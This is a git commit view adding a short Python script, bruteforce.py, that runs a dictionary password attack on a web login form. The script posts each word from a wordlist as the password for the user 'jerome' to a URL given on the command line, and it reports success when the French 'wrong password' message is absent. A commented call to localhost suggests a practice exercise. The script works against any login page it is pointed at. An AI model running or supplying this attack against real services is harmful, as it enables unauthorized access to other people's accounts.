diff options
| author | jerome <jerome@xlinfo.fr> | 2023-12-18 00:02:09 +0100 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2023-12-18 00:02:09 +0100 |
| commit | a1203ccb343703ba5ae522254f75b6384a1831a7 (patch) | |
| tree | c54e1e6cf0da29170419b2fd9880ff6dcea28742 /bruteforce.py | |
| download | python-a1203ccb343703ba5ae522254f75b6384a1831a7.tar.gz python-a1203ccb343703ba5ae522254f75b6384a1831a7.zip | |
depôt initial
Diffstat (limited to 'bruteforce.py')
| -rw-r--r-- | bruteforce.py | 27 |
1 files changed, 27 insertions, 0 deletions
diff --git a/bruteforce.py b/bruteforce.py new file mode 100644 index 0000000..45d950b --- /dev/null +++ b/bruteforce.py @@ -0,0 +1,27 @@ +import sys +import requests + +def bruteforce(url,username,password): + reponse=requests.post(url=url,data={ + "username":username, + "password":password + }) + #print(reponse.text) + if "Mauvais mot de passe" in reponse.text: + print("mauvais pwd") + return False + else: + print(f"Trouvé password \"{password}\"") + return True + +if __name__ == "__main__": + url = sys.argv[1] + dico = sys.argv[2] + with open(dico, 'r') as wordlist: + for password in wordlist.readlines(): + password=password.strip() + if bruteforce(url,"jerome",password)==True: + sys.exit() + +#bruteforce("http://localhost/page.php","jerome","secret") + |
